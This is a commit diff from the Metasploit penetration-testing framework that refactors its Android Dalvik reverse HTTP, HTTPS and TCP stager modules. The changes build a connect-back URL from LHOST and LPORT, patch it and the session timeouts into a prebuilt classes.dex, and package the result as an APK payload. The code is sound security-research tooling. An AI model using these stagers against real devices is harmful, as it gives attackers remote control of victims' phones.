Skip to content

Commit e796e56

Browse files
committed
Modify the staging process
1 parent 1351c1d commit e796e56

File tree

4 files changed

+43
-40
lines changed

4 files changed

+43
-40
lines changed

lib/msf/core/payload/dalvik.rb

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -32,8 +32,13 @@ def java_string(str)
3232
end
3333

3434
def apply_options(classes)
35-
string_sub(classes, 'TTTT ', "TTTT" + datastore['SessionRetryTotal'].to_s)
36-
string_sub(classes, 'SSSS ', "SSSS" + datastore['SessionRetryWait'].to_s)
35+
timeouts = [
36+
datastore['SessionExpirationTimeout'].to_s,
37+
datastore['SessionCommunicationTimeout'].to_s,
38+
datastore['SessionRetryTotal'].to_s,
39+
datastore['SessionRetryWait'].to_s
40+
].join('-')
41+
string_sub(classes, 'TTTT ', 'TTTT' + timeouts)
3742
end
3843

3944
def string_sub(data, placeholder="", input="")

modules/payloads/stagers/android/reverse_http.rb

Lines changed: 13 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -17,15 +17,15 @@ module Metasploit3
1717

1818
def initialize(info = {})
1919
super(merge_info(info,
20-
'Name' => 'Dalvik Reverse HTTP Stager',
21-
'Description' => 'Tunnel communication over HTTP',
22-
'Author' => 'anwarelmakrahy',
23-
'License' => MSF_LICENSE,
24-
'Platform' => 'android',
25-
'Arch' => ARCH_DALVIK,
26-
'Handler' => Msf::Handler::ReverseHttp,
27-
'Stager' => {'Payload' => ""}
28-
))
20+
'Name' => 'Dalvik Reverse HTTP Stager',
21+
'Description' => 'Tunnel communication over HTTP',
22+
'Author' => ['anwarelmakrahy', 'OJ Reeves'],
23+
'License' => MSF_LICENSE,
24+
'Platform' => 'android',
25+
'Arch' => ARCH_DALVIK,
26+
'Handler' => Msf::Handler::ReverseHttp,
27+
'Stager' => {'Payload' => ''}
28+
))
2929
end
3030

3131
def generate_jar(opts={})
@@ -36,13 +36,12 @@ def generate_jar(opts={})
3636
uri_req_len = 5
3737
end
3838

39-
lurl = "ZZZZhttp://#{datastore["LHOST"]}"
40-
lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"]
41-
lurl << "/"
42-
lurl << generate_uri_uuid_mode(:init_java, uri_req_len)
39+
url = "http://#{datastore["LHOST"]}:#{datastore["LPORT"]}/"
40+
# TODO: perhaps wire in an existing UUID from opts?
41+
url << generate_uri_uuid_mode(:init_java, uri_req_len)
4342

4443
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
45-
string_sub(classes, 'ZZZZ' + ' ' * 512, lurl)
44+
string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url)
4645
apply_options(classes)
4746

4847
jar = Rex::Zip::Jar.new

modules/payloads/stagers/android/reverse_https.rb

Lines changed: 12 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -17,14 +17,14 @@ module Metasploit3
1717

1818
def initialize(info = {})
1919
super(merge_info(info,
20-
'Name' => 'Dalvik Reverse HTTPS Stager',
21-
'Description' => 'Tunnel communication over HTTPS',
22-
'Author' => 'anwarelmakrahy',
23-
'License' => MSF_LICENSE,
24-
'Platform' => 'android',
25-
'Arch' => ARCH_DALVIK,
26-
'Handler' => Msf::Handler::ReverseHttps,
27-
'Stager' => {'Payload' => ""}
20+
'Name' => 'Dalvik Reverse HTTPS Stager',
21+
'Description' => 'Tunnel communication over HTTPS',
22+
'Author' => ['anwarelmakrahy', 'OJ Reeves'],
23+
'License' => MSF_LICENSE,
24+
'Platform' => 'android',
25+
'Arch' => ARCH_DALVIK,
26+
'Handler' => Msf::Handler::ReverseHttps,
27+
'Stager' => {'Payload' => ''}
2828
))
2929
end
3030

@@ -36,13 +36,12 @@ def generate_jar(opts={})
3636
uri_req_len = 5
3737
end
3838

39-
lurl = "ZZZZhttps://#{datastore["LHOST"]}"
40-
lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"]
41-
lurl << "/"
42-
lurl << generate_uri_uuid_mode(:init_java, uri_req_len)
39+
url = "https://#{datastore["LHOST"]}:#{datastore["LPORT"]}/"
40+
# TODO: perhaps wire in an existing UUID from opts?
41+
url << generate_uri_uuid_mode(:init_java, uri_req_len)
4342

4443
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
45-
string_sub(classes, 'ZZZZ' + ' ' * 512, lurl)
44+
string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url)
4645

4746
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
4847
datastore['HandlerSSLCert'])

modules/payloads/stagers/android/reverse_tcp.rb

Lines changed: 11 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88
require 'msf/base/sessions/command_shell'
99
require 'msf/base/sessions/command_shell_options'
1010

11-
module Metasploit3
11+
module Metasploit4
1212

1313
CachedSize = :dynamic
1414

@@ -17,14 +17,14 @@ module Metasploit3
1717

1818
def initialize(info = {})
1919
super(merge_info(info,
20-
'Name' => 'Dalvik Reverse TCP Stager',
21-
'Description' => 'Connect back stager',
22-
'Author' => 'timwr',
23-
'License' => MSF_LICENSE,
24-
'Platform' => 'android',
25-
'Arch' => ARCH_DALVIK,
26-
'Handler' => Msf::Handler::ReverseTcp,
27-
'Stager' => {'Payload' => ""}
20+
'Name' => 'Dalvik Reverse TCP Stager',
21+
'Description' => 'Connect back stager',
22+
'Author' => ['timwr', 'OJ Reeves'],
23+
'License' => MSF_LICENSE,
24+
'Platform' => 'android',
25+
'Arch' => ARCH_DALVIK,
26+
'Handler' => Msf::Handler::ReverseTcp,
27+
'Stager' => {'Payload' => ''}
2828
))
2929
end
3030

@@ -37,8 +37,8 @@ def generate_jar(opts={})
3737

3838
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
3939

40-
string_sub(classes, 'XXXX127.0.0.1 ', "XXXX" + datastore['LHOST'].to_s) if datastore['LHOST']
41-
string_sub(classes, 'YYYY4444 ', "YYYY" + datastore['LPORT'].to_s) if datastore['LPORT']
40+
url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
41+
string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url)
4242
apply_options(classes)
4343

4444
jar.add_file("classes.dex", fix_dex_header(classes))

0 commit comments

Comments
 (0)